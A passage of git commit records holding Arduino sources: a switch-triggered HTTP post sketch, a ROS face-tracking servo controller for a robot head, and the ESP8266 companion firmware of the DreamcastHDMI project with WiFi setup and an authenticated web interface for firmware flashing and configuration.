vorSwitch(SWITCH_PIN);\nint state = HIGH;\nuint64_t intervalTime = 0;\n\nvoid setup() {\n Serial.begin(9600);\n\n led.turnOn();\n Bridge.begin();\n led.turnOff();\n analogWrite(LED_PIN, 255);\n}\n\nvoid loop() {\n int value = vorSwitch.read();\n\n uint64_t now = millis();\n\n if (state != value || now - intervalTime > INTERVAL) {\n state = value;\n intervalTime = now;\n if (HIGH == state) {\n post();\n }\n }\n}\n\nvoid post() {\n int res = http.post(SERVER_URL, SERVER_PATH, USERAGENT, TEXT_PLAIN, MSG_FORMAT);\n if (0 == res) { \/\/ HTTP_SUCCESS in HttpClient.h\n int code = http.responseStatusCode();\n Serial.println(code);\n http.skipResponseHeaders();\n uint64_t now = millis();\n char c;\n while ((http.connected() || http.available()) && ((millis() - now) < TIMEOUT)) {\n if (http.available()) {\n c = http.read();\n Serial.print(c);\n now = millis();\n } else {\n delay(DELAY);\n }\n }\n }\n http.stop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'vor-arduino\/examples\/food\/food.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ddb24930fd0683e0fcf4336f96aa8b2a522f065c","subject":"Added files via upload","message":"Added files via upload\n\nArduino program for controlling Charlie's head","repos":"jdekerautem\/TurtleBot-Receptionist","old_file":"CharlieNeck.ino","new_file":"CharlieNeck.ino","new_contents":"#if (ARDUINO >= 100)\n #include <Arduino.h>\n#else\n #include <WProgram.h>\n#endif\n\n#include <Servo.h> \n#include <ros.h>\n#include <std_msgs\/UInt16.h>\n#include <Wire.h>\n#include <Adafruit_PWMServoDriver.h>\nAdafruit_PWMServoDriver pwm = Adafruit_PWMServoDriver();\n\nros::NodeHandle nh;\n\nint xpos = 250;\nint ypos = 175;\nint xserv = 327;\nint yserv = 327;\nint centxmax = 275;\nint centymax = 200;\nint centxmin = 225;\nint centymin = 150;\n\nvoid servox( const std_msgs::UInt16& cmd_msg)\n{\n xpos = cmd_msg.data; \n digitalWrite(13, HIGH-digitalRead(13)); \/\/toggle led\n if(xpos < centxmin)\n {\n if(xserv < 525)\n {\n xserv = xserv + 1; \n }\n }\n else if(xpos > centxmax)\n {\n if(xserv > 125)\n {\n xserv = xserv - 1; \n }\n }\n pwm.setPWM(6,0,xserv);\n Serial.println(\"x = \");\n Serial.println(xserv); \n}\nvoid servoy( const std_msgs::UInt16& cmd_msg)\n{\n ypos = cmd_msg.data; \n digitalWrite(13, HIGH-digitalRead(13)); \/\/toggle led\n if(ypos < centymin)\n {\n if( yserv > 237)\n {\n yserv = yserv - 1;\n }\n }\n else if(ypos > centymax)\n {\n if( yserv < 341)\n {\n yserv = yserv + 1;\n }\n }\n pwm.setPWM(8,0,yserv); \n Serial.println(\"y = \");\n Serial.println(yserv); \n}\n\n\nros::Subscriber<std_msgs::UInt16> sub1(\"\/face_detector\/face_position_X\", servox);\nros::Subscriber<std_msgs::UInt16> sub2(\"\/face_detector\/face_position_Y\", servoy);\n\nvoid setup()\n{\n Serial.begin(57600);\n pinMode(13, OUTPUT);\n nh.initNode();\n nh.subscribe(sub1);\n nh.subscribe(sub2);\n #ifdef ESP8266\n Wire.pins(2, 14); \/\/ ESP8266 can use any two pins, such as SDA to #2 and SCL to #14\n #endif\n pwm.begin(); \n pwm.setPWMFreq(60);\n\n}\n\nvoid loop(){\n nh.spinOnce();\n delay(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CharlieNeck.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"07933ebd5e0f96c73c96880b726e518e1a0bb118","subject":"skip MDNS setup, because it can cause random crashes on startup","message":"skip MDNS setup, because it can cause random crashes on startup\n","repos":"chriz2600\/DreamcastHDMI,chriz2600\/DreamcastHDMI,chriz2600\/DreamcastHDMI,chriz2600\/DreamcastHDMI,chriz2600\/DreamcastHDMI,chriz2600\/DreamcastHDMI,chriz2600\/DreamcastHDMI,chriz2600\/DreamcastHDMI","old_file":"ESP\/src\/ESP.ino","new_file":"ESP\/src\/ESP.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/* \n Dreamcast Companion App\n*\/\n#include \"global.h\"\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266mDNS.h>\n#include <FS.h>\n#include <Hash.h>\n#include <ESPAsyncTCP.h>\n#include <ESPAsyncWebServer.h>\n#include <WiFiUdp.h>\n#include <ArduinoOTA.h>\n#include <SPIFlash.h>\n#include \"AsyncJson.h\"\n#include \"ArduinoJson.h\"\n#include <Task.h>\n#include \"task\/FlashTask.h\"\n#include \"task\/FlashVerifyTask.h\"\n#include \"task\/FlashESPTask.h\"\n#include \"task\/FlashESPIndexTask.h\"\n#include \"task\/FPGATask.h\"\n#include \"task\/DebugTask.h\"\n#include \"task\/TimeoutTask.h\"\n#include \"task\/FlashCheckTask.h\"\n#include \"task\/FlashEraseTask.h\"\n#include \"task\/InfoTask.h\"\n#include \"util.h\"\n#include \"data.h\"\n#include \"web.h\"\n#include \"Menu.h\"\n#include \"pwgen.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool isHhttpAuthPassGenerated = false;\nbool isRelaxedFirmware = false;\n\nchar ssid[64] = DEFAULT_SSID;\nchar password[64] = DEFAULT_PASSWORD;\nchar otaPassword[64] = DEFAULT_OTA_PASSWORD; \nchar firmwareServer[256] = DEFAULT_FW_SERVER;\nchar firmwareServerPath[256] = DEFAULT_FW_SERVER_PATH;\nchar firmwareVersion[64] = DEFAULT_FW_VERSION;\nchar firmwareVariant[64] = DEFAULT_FW_VARIANT;\nchar httpAuthUser[64] = DEFAULT_HTTP_USER;\nchar httpAuthPass[64] = \"\";\nchar confIPAddr[24] = DEFAULT_CONF_IP_ADDR;\nchar confIPGateway[24] = DEFAULT_CONF_IP_GATEWAY;\nchar confIPMask[24] = DEFAULT_CONF_IP_MASK;\nchar confIPDNS[24] = DEFAULT_CONF_IP_DNS;\nchar host[64] = DEFAULT_HOST;\nchar videoMode[16] = \"\";\nchar configuredResolution[16] = \"\";\nchar resetMode[16] = \"\";\nchar deinterlaceMode480i[16] = \"\";\nchar deinterlaceMode576i[16] = \"\";\nchar protectedMode[8] = \"\";\nchar AP_NameChar[64];\nchar WiFiAPPSK[12] = \"\";\nchar keyboardLayout[8] = DEFAULT_KEYBOARD_LAYOUT; \nIPAddress ipAddress( 192, 168, 4, 1 );\nbool inInitialSetupMode = false;\nAsyncWebServer server(80);\nSPIFlash flash(CS);\nint last_error = NO_ERROR; \nint totalLength;\nint readLength;\nbool currentJobDone = true;\n\nFile flashFile;\n\nuint8_t CurrentResolution = RESOLUTION_1080p;\nuint8_t PrevCurrentResolution;\nuint8_t CurrentResolutionData = 0;\nuint8_t ForceVGA = VGA_ON;\nuint8_t CurrentResetMode = RESET_MODE_LED;\nuint8_t CurrentDeinterlaceMode480i = DEINTERLACE_MODE_BOB;\nuint8_t CurrentDeinterlaceMode576i = DEINTERLACE_MODE_BOB;\nuint8_t CurrentProtectedMode = PROTECTED_MODE_OFF;\nint8_t Offset240p;\nint8_t OffsetVGA;\nint8_t AutoOffsetVGA = 0;\nuint8_t UpscalingMode;\nuint8_t ColorSpace;\n\nchar md5FPGA[48];\nchar md5ESP[48];\nchar md5IndexHtml[48];\n\nbool scanlinesActive;\nint scanlinesIntensity;\nbool scanlinesOddeven;\nbool scanlinesThickness;\n\nbool reflashNeccessary;\nbool reflashNeccessary2;\nbool reflashNeccessary3;\n\nMD5Builder md5;\nTaskManager taskManager;\nFlashTask flashTask(1);\nFlashESPTask flashESPTask(1);\nFlashESPIndexTask flashESPIndexTask(1);\nDebugTask debugTask(16);\nTimeoutTask timeoutTask(MsToTaskTime(100));\nFlashCheckTask flashCheckTask(1, NULL);\nFlashVerifyTask flashVerifyTask(1);\nFlashEraseTask flashEraseTask(1);\nInfoTask infoTask(16);\n\nextern Menu mainMenu;\nMenu *currentMenu;\nMenu *previousMenu;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid setupSPIFFS() {\n DEBUG2(\">> Setting up SPIFFS...\\n\");\n if (!SPIFFS.begin()) {\n DEBUG(\">> SPIFFS begin failed, trying to format...\");\n if (SPIFFS.format()) {\n DEBUG(\"done.\\n\");\n } else {\n DEBUG(\"error.\\n\");\n }\n }\n}\n\nvoid setupResetMode() {\n readCurrentResetMode();\n DEBUG2(\">> Setting up reset mode: %x\\n\", CurrentResetMode);\n reflashNeccessary3 = !forceI2CWrite(\n I2C_RESET_CONF, CurrentResetMode, \n I2C_PING, 0\n );\n}\n\nvoid setupOutputResolution() {\n readVideoMode();\n readCurrentResolution();\n readCurrentDeinterlaceMode480i();\n readCurrentDeinterlaceMode576i();\n\n DEBUG2(\">> Setting up output resolution: %x\\n\", ForceVGA | CurrentResolution);\n reflashNeccessary = !forceI2CWrite(\n I2C_OUTPUT_RESOLUTION, ForceVGA | mapResolution(CurrentResolution),\n \/\/ForceVGA ? I2C_DC_RESET : I2C_PING, 0\n I2C_DC_RESET, 0\n );\n}\n\nvoid setupScanlines() {\n readScanlinesActive();\n readScanlinesIntensity();\n readScanlinesOddeven();\n readScanlinesThickness();\n\n uint8_t upper = getScanlinesUpperPart();\n uint8_t lower = getScanlinesLowerPart();\n\n DEBUG2(\">> Setting up scanlines:\\n\");\n reflashNeccessary2 = !forceI2CWrite(\n I2C_SCANLINE_UPPER, upper, \n I2C_SCANLINE_LOWER, lower\n );\n}\n\nvoid setupOffsets() {\n read240pOffset();\n readVGAOffset();\n forceI2CWrite(I2C_240P_OFFSET, Offset240p, I2C_240P_OFFSET, Offset240p);\n forceI2CWrite(I2C_VGA_OFFSET, getEffectiveOffsetVGA(), I2C_VGA_OFFSET, getEffectiveOffsetVGA());\n}\n\nvoid setupUpscalingMode() {\n readUpscalingMode();\n forceI2CWrite(\n I2C_UPSCALING_MODE, UpscalingMode,\n I2C_UPSCALING_MODE, UpscalingMode\n );\n}\n\nvoid setupColorSpace() {\n readColorSpace();\n forceI2CWrite(\n I2C_COLOR_SPACE, ColorSpace,\n I2C_COLOR_SPACE, ColorSpace\n );\n}\n\nvoid setupTaskManager() {\n DEBUG2(\">> Setting up task manager...\\n\");\n taskManager.Setup();\n taskManager.StartTask(&fpgaTask);\n}\n\nvoid setupCredentials(void) {\n DEBUG2(\">> Reading stored values...\\n\");\n\n _readFile(\"\/etc\/ssid\", ssid, 64, DEFAULT_SSID);\n _readFile(\"\/etc\/password\", password, 64, DEFAULT_PASSWORD);\n _readFile(\"\/etc\/ota_pass\", otaPassword, 64, DEFAULT_OTA_PASSWORD);\n _readFile(\"\/etc\/firmware_server\", firmwareServer, 256, DEFAULT_FW_SERVER);\n _readFile(\"\/etc\/firmware_server_path\", firmwareServerPath, 256, DEFAULT_FW_SERVER_PATH);\n _readFile(\"\/etc\/firmware_variant\", firmwareVariant, 64, DEFAULT_FW_VARIANT);\n _readFile(\"\/etc\/firmware_version\", firmwareVersion, 64, DEFAULT_FW_VERSION);\n _readFile(\"\/etc\/http_auth_user\", httpAuthUser, 64, DEFAULT_HTTP_USER);\n _readFile(\"\/etc\/http_auth_pass\", httpAuthPass, 64, DEFAULT_HTTP_PASS);\n _readFile(\"\/etc\/conf_ip_addr\", confIPAddr, 24, DEFAULT_CONF_IP_ADDR);\n _readFile(\"\/etc\/conf_ip_gateway\", confIPGateway, 24, DEFAULT_CONF_IP_GATEWAY);\n _readFile(\"\/etc\/conf_ip_mask\", confIPMask, 24, DEFAULT_CONF_IP_MASK);\n _readFile(\"\/etc\/conf_ip_dns\", confIPDNS, 24, DEFAULT_CONF_IP_DNS);\n _readFile(\"\/etc\/hostname\", host, 64, DEFAULT_HOST);\n _readFile(\"\/etc\/keyblayout\", keyboardLayout, 8, DEFAULT_KEYBOARD_LAYOUT);\n readCurrentProtectedMode();\n\n if (strlen(httpAuthPass) == 0) {\n generate_password(httpAuthPass);\n isHhttpAuthPassGenerated = true;\n }\n}\n\nvoid generateWiFiPassword() {\n generate_password(WiFiAPPSK);\n DEBUG2(\"AP password: %s\\n\", WiFiAPPSK);\n}\n\nvoid setupAPMode(void) {\n WiFi.mode(WIFI_AP);\n uint8_t mac[WL_MAC_ADDR_LENGTH];\n WiFi.softAPmacAddress(mac);\n String macID = String(mac[WL_MAC_ADDR_LENGTH - 2], HEX) +\n String(mac[WL_MAC_ADDR_LENGTH - 1], HEX);\n macID.toUpperCase();\n String AP_NameString = String(\"DCHDMI\") + String(\"-\") + macID;\n\n memset(AP_NameChar, 0, AP_NameString.length() + 1);\n\n for (uint i=0; i<AP_NameString.length(); i++) {\n if (i < 63) {\n AP_NameChar[i] = AP_NameString.charAt(i);\n }\n }\n\n DEBUG2(\"AP_NameChar: %s\\n\", AP_NameChar);\n generateWiFiPassword();\n WiFi.softAP(AP_NameChar, WiFiAPPSK);\n DEBUG2(\">> SSID: %s\\n\", AP_NameChar);\n DEBUG2(\">> AP-PSK: %s\\n\", WiFiAPPSK);\n inInitialSetupMode = true;\n}\n\nvoid setupWiFi() {\n WiFi.persistent(false);\n if (strlen(ssid) == 0) {\n DEBUG2(\">> No ssid, starting AP mode...\\n\");\n setupAPMode();\n } else {\n DEBUG2(\">> Trying to connect in client mode first...\\n\");\n setupWiFiStation();\n }\n}\n\nvoid setupWiFiStation() {\n bool doStaticIpConfig = false;\n IPAddress ipAddr;\n doStaticIpConfig = ipAddr.fromString(confIPAddr);\n IPAddress ipGateway;\n doStaticIpConfig = doStaticIpConfig && ipGateway.fromString(confIPGateway);\n IPAddress ipMask;\n doStaticIpConfig = doStaticIpConfig && ipMask.fromString(confIPMask);\n IPAddress ipDNS;\n doStaticIpConfig = doStaticIpConfig && ipDNS.fromString(confIPDNS);\n\n \/\/WIFI INIT\n WiFi.mode(WIFI_STA);\n WiFi.begin();\n WiFi.disconnect(true);\n WiFi.softAPdisconnect(true);\n \/\/ WiFi.setAutoConnect(true);\n \/\/ WiFi.setAutoReconnect(true);\n\n DEBUG(\">> Do static ip configuration: %i\\n\", doStaticIpConfig);\n if (doStaticIpConfig) {\n WiFi.config(ipAddr, ipGateway, ipMask, ipDNS);\n }\n\n DEBUG(\">> WiFi.getAutoConnect: %i\\n\", WiFi.getAutoConnect());\n DEBUG(\">> Connecting to %s\\n\", ssid);\n\n if (String(WiFi.SSID()) != String(ssid)) {\n WiFi.begin(ssid, password);\n DEBUG(\">> WiFi.begin: %s@%s\\n\", password, ssid);\n }\n \n bool success = true;\n int tries = 0;\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n DBG_OUTPUT_PORT.print(\".\");\n if (tries == 60) {\n WiFi.disconnect();\n success = false;\n break;\n }\n tries++;\n }\n\n DEBUG2(\">> success: %i\\n\", success);\n\n if (!success) {\n \/\/ setup AP mode to configure ssid and password\n setupAPMode();\n } else {\n WiFi.hostname(host);\n WiFi.setAutoReconnect(true);\n\n ipAddress = WiFi.localIP();\n IPAddress gateway = WiFi.gatewayIP();\n IPAddress subnet = WiFi.subnetMask();\n\n DEBUG2(\n \">> Connected!\\n IP address: %d.%d.%d.%d\\n\",\n ipAddress[0], ipAddress[1], ipAddress[2], ipAddress[3]\n );\n DEBUG2(\n \" Gateway address: %d.%d.%d.%d\\n\",\n gateway[0], gateway[1], gateway[2], gateway[3]\n );\n DEBUG2(\n \" Subnet mask: %d.%d.%d.%d\\n\",\n subnet[0], subnet[1], subnet[2], subnet[3]\n );\n DEBUG2(\n \" Hostname: %s\\n\",\n WiFi.hostname().c_str()\n );\n DEBUG2(\n \" MAC addr: %s\\n\",\n WiFi.macAddress().c_str()\n );\n }\n}\n\nvoid setupMDNS() {\n DEBUG2(\">> Setting up mDNS...\\n\");\n if (MDNS.begin(host, ipAddress)) {\n DEBUG2(\">> mDNS started.\\n\");\n MDNS.addService(\"http\", \"tcp\", 80);\n DEBUG(\n \">> http:\/\/%s.local\/\\n\", \n host\n );\n } else {\n DEBUG2(\">> mDNS setup failed.\\n\");\n }\n}\n\nvoid setupHTTPServer() {\n DEBUG2(\">> Setting up HTTP server...\\n\");\n\n server.on(\"\/upload\/fpga\", HTTP_POST, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n request->send(200);\n }, [](AsyncWebServerRequest *request, String filename, size_t index, uint8_t *data, size_t len, bool final) {\n handleUpload(request, FIRMWARE_FILE, index, data, len, final);\n });\n\n server.on(\"\/upload\/esp\", HTTP_POST, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n request->send(200);\n }, [](AsyncWebServerRequest *request, String filename, size_t index, uint8_t *data, size_t len, bool final) {\n handleUpload(request, ESP_FIRMWARE_FILE, index, data, len, final);\n });\n\n server.on(\"\/upload\/index\", HTTP_POST, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n request->send(200);\n }, [](AsyncWebServerRequest *request, String filename, size_t index, uint8_t *data, size_t len, bool final) {\n handleUpload(request, ESP_INDEX_STAGING_FILE, index, data, len, final);\n });\n\n server.on(\"\/debug\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n char msg[64];\n _readFile(\"\/debug\", msg, 64, \"---\");\n request->send(200, \"text\/plain\", msg);\n });\n\n server.on(\"\/list-files\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n\n AsyncJsonResponse * response = new AsyncJsonResponse();\n response->addHeader(\"Server\",\"DCHDMI\");\n JsonObject& root = response->getRoot();\n FSInfo fs_info;\n SPIFFS.info(fs_info);\n\n root[\"totalBytes\"] = fs_info.totalBytes;\n root[\"usedBytes\"] = fs_info.usedBytes;\n \/\/ root[\"blockSize\"] = fs_info.blockSize;\n \/\/ root[\"pageSize\"] = fs_info.pageSize;\n \/\/ root[\"maxOpenFiles\"] = fs_info.maxOpenFiles;\n \/\/ root[\"maxPathLength\"] = fs_info.maxPathLength;\n \/\/ root[\"freeSketchSpace\"] = ESP.getFreeSketchSpace();\n \/\/ root[\"maxSketchSpace\"] = (ESP.getFreeSketchSpace() - 0x1000) & 0xFFFFF000;\n \/\/ root[\"flashChipSize\"] = ESP.getFlashChipSize();\n \/\/ root[\"freeHeapSize\"] = ESP.getFreeHeap();\n\n JsonArray &datas = root.createNestedArray(\"files\");\n\n Dir dir = SPIFFS.openDir(\"\/\");\n while (dir.next()) {\n JsonObject &data = datas.createNestedObject();\n data[\"name\"] = dir.fileName();\n data[\"size\"] = dir.fileSize();\n }\n\n response->setLength();\n request->send(response);\n });\n\n server.on(\"\/download\/fpga\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n handleFPGADownload(request);\n });\n\n server.on(\"\/download\/esp\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n handleESPDownload(request);\n });\n\n server.on(\"\/download\/index\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n handleESPIndexDownload(request);\n });\n\n server.on(\"\/flash\/fpga\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n handleFlash(request, FIRMWARE_FILE);\n });\n\n server.on(\"\/flash\/esp\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n handleESPFlash(request, ESP_FIRMWARE_FILE);\n });\n\n server.on(\"\/flash\/index\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n handleESPIndexFlash(request);\n });\n\n server.on(\"\/cleanupindex\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n SPIFFS.remove(ESP_INDEX_FILE);\n SPIFFS.remove(String(ESP_INDEX_FILE) + \".md5\");\n request->send(200);\n });\n\n server.on(\"\/cleanup\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n SPIFFS.remove(FIRMWARE_FILE);\n SPIFFS.remove(ESP_FIRMWARE_FILE);\n SPIFFS.remove(ESP_INDEX_STAGING_FILE);\n SPIFFS.remove(String(FIRMWARE_FILE) + \".md5\");\n SPIFFS.remove(String(ESP_FIRMWARE_FILE) + \".md5\");\n SPIFFS.remove(String(ESP_INDEX_STAGING_FILE) + \".md5\");\n\n SPIFFS.remove(LOCAL_FPGA_MD5);\n SPIFFS.remove(LOCAL_ESP_MD5);\n SPIFFS.remove(LOCAL_ESP_INDEX_MD5);\n\n SPIFFS.remove(SERVER_FPGA_MD5);\n SPIFFS.remove(SERVER_ESP_MD5);\n SPIFFS.remove(SERVER_ESP_INDEX_MD5);\n\n \/\/ remove legacy config data\n SPIFFS.remove(\"\/etc\/firmware_fpga\");\n SPIFFS.remove(\"\/etc\/firmware_format\");\n SPIFFS.remove(\"\/etc\/force_vga\");\n SPIFFS.remove(\"\/etc\/resolution\");\n request->send(200);\n });\n\n server.on(\"\/resetconfig\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n SPIFFS.remove(\"\/etc\/ssid\");\n SPIFFS.remove(\"\/etc\/password\");\n SPIFFS.remove(\"\/etc\/ota_pass\");\n SPIFFS.remove(\"\/etc\/http_auth_user\");\n SPIFFS.remove(\"\/etc\/http_auth_pass\");\n SPIFFS.remove(\"\/etc\/conf_ip_addr\");\n SPIFFS.remove(\"\/etc\/conf_ip_gateway\");\n SPIFFS.remove(\"\/etc\/conf_ip_mask\");\n SPIFFS.remove(\"\/etc\/conf_ip_dns\");\n SPIFFS.remove(\"\/etc\/hostname\");\n SPIFFS.remove(\"\/etc\/keyblayout\");\n\n ssid[0] = '\\0';\n password[0] = '\\0';\n otaPassword[0] = '\\0';\n keyboardLayout[0] = '\\0';\n \/\/ keep passwords alive until power off\n \/\/httpAuthUser[0] = '\\0';\n \/\/httpAuthPass[0] = '\\0';\n confIPAddr[0] = '\\0';\n confIPGateway[0] = '\\0';\n confIPMask[0] = '\\0';\n confIPDNS[0] = '\\0';\n host[0] = '\\0';\n\n request->send(200);\n });\n\n server.on(\"\/factoryresetall\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n SPIFFS.format();\n request->send(200);\n });\n\n server.on(\"\/flash\/secure\/fpga\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n disableFPGA();\n handleFlash(request, FIRMWARE_FILE);\n });\n\n server.on(\"\/progress\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n DEBUG(\"progress requested...\\n\");\n char msg[64];\n if (last_error) {\n sprintf(msg, \"ERROR %i\\n\", last_error);\n request->send(200, \"text\/plain\", msg);\n DEBUG(\"...delivered: %s (%i).\\n\", msg, last_error);\n \/\/ clear last_error\n last_error = NO_ERROR;\n } else {\n int progress = totalLength <= 0 ? 0 : (int)(readLength * 100 \/ totalLength);\n if (progress == 100 && !currentJobDone) {\n progress = 99;\n }\n sprintf(msg, \"%i\\n\", progress);\n request->send(200, \"text\/plain\", msg);\n DEBUG2(\"...delivered: %s.\\n\", msg);\n }\n });\n\n server.on(\"\/flash_size\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n char msg[64];\n sprintf(msg, \"%lu\\n\", (long unsigned int) ESP.getFlashChipSize());\n request->send(200, \"text\/plain\", msg);\n });\n\n server.on(\"\/reset\/fpga\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n DEBUG(\"FPGA reset requested...\\n\");\n fpgaTask.DoResetFPGA();\n request->send(200, \"text\/plain\", \"OK\\n\");\n DEBUG(\"...delivered.\\n\");\n });\n\n server.on(\"\/reset\/dc\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n DEBUG(\"DC reset requested...\\n\");\n fpgaTask.Write(I2C_DC_RESET, 0, NULL);\n request->send(200, \"text\/plain\", \"OK\\n\");\n DEBUG(\"...delivered.\\n\");\n });\n\n server.on(\"\/reset\/all\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n resetall();\n });\n\n server.on(\"\/reset\/pll\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n fpgaTask.Write(I2C_PLL_RESET, 0, NULL);\n request->send(200, \"text\/plain\", \"OK\\n\");\n });\n\n server.on(\"\/issetupmode\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n request->send(200, \"text\/plain\", inInitialSetupMode ? \"true\\n\" : \"false\\n\");\n });\n\n server.on(\"\/ping\", HTTP_GET, [](AsyncWebServerRequest *request) {\n request->send(200);\n });\n\n server.on(\"\/setup\", HTTP_POST, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n writeSetupParameter(request, \"ssid\", ssid, 64, DEFAULT_SSID);\n writeSetupParameter(request, \"password\", password, 64, DEFAULT_PASSWORD);\n writeSetupParameter(request, \"ota_pass\", otaPassword, 64, DEFAULT_OTA_PASSWORD);\n writeSetupParameter(request, \"firmware_server\", firmwareServer, 256, DEFAULT_FW_SERVER);\n writeSetupParameter(request, \"firmware_server_path\", firmwareServerPath, 256, DEFAULT_FW_SERVER_PATH);\n writeSetupParameter(request, \"firmware_version\", firmwareVersion, 64, DEFAULT_FW_VERSION);\n writeSetupParameter(request, \"http_auth_user\", httpAuthUser, 64, DEFAULT_HTTP_USER, true);\n writeSetupParameter(request, \"http_auth_pass\", httpAuthPass, 64, DEFAULT_HTTP_PASS, true);\n writeSetupParameter(request, \"conf_ip_addr\", confIPAddr, 24, DEFAULT_CONF_IP_ADDR);\n writeSetupParameter(request, \"conf_ip_gateway\", confIPGateway, 24, DEFAULT_CONF_IP_GATEWAY);\n writeSetupParameter(request, \"conf_ip_mask\", confIPMask, 24, DEFAULT_CONF_IP_MASK);\n writeSetupParameter(request, \"conf_ip_dns\", confIPDNS, 24, DEFAULT_CONF_IP_DNS);\n writeSetupParameter(request, \"hostname\", host, 64, DEFAULT_HOST);\n writeSetupParameter(request, \"video_resolution\", configuredResolution, \"\/etc\/video\/resolution\", 16, DEFAULT_VIDEO_RESOLUTION);\n writeSetupParameter(request, \"video_mode\", videoMode, \"\/etc\/video\/mode\", 16, DEFAULT_VIDEO_MODE);\n writeSetupParameter(request, \"reset_mode\", resetMode, \"\/etc\/reset\/mode\", 16, DEFAULT_RESET_MODE);\n writeSetupParameter(request, \"deinterlace_mode\", deinterlaceMode480i, \"\/etc\/deinterlace\/mode\/480i\", 16, DEFAULT_DEINTERLACE_MODE);\n writeSetupParameter(request, \"deinterlace_mode\", deinterlaceMode576i, \"\/etc\/deinterlace\/mode\/576i\", 16, DEFAULT_DEINTERLACE_MODE);\n writeSetupParameter(request, \"protected_mode\", protectedMode, \"\/etc\/protected\/mode\", 8, DEFAULT_PROTECTED_MODE);\n writeSetupParameter(request, \"keyboard_layout\", keyboardLayout, \"\/etc\/keyblayout\", 8, DEFAULT_KEYBOARD_LAYOUT);\n readCurrentProtectedMode(true);\n\n request->send(200, \"text\/plain\", \"OK\\n\");\n });\n \n server.on(\"\/config\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n \n AsyncJsonResponse * response = new AsyncJsonResponse();\n JsonObject& root = response->getRoot();\n\n root[\"ssid\"] = ssid;\n root[\"password\"] = password;\n root[\"ota_pass\"] = otaPassword;\n root[\"firmware_server\"] = firmwareServer;\n root[\"firmware_server_path\"] = firmwareServerPath;\n root[\"firmware_version\"] = firmwareVersion;\n root[\"http_auth_user\"] = httpAuthUser;\n root[\"http_auth_pass\"] = httpAuthPass;\n root[\"flash_chip_size\"] = ESP.getFlashChipSize();\n root[\"conf_ip_addr\"] = confIPAddr;\n root[\"conf_ip_gateway\"] = confIPGateway;\n root[\"conf_ip_mask\"] = confIPMask;\n root[\"conf_ip_dns\"] = confIPDNS;\n root[\"hostname\"] = host;\n root[\"fw_version\"] = isRelaxedFirmware ? FW_VERSION \"-rlx\" : FW_VERSION \"-std\";\n root[\"video_resolution\"] = configuredResolution;\n root[\"video_mode\"] = 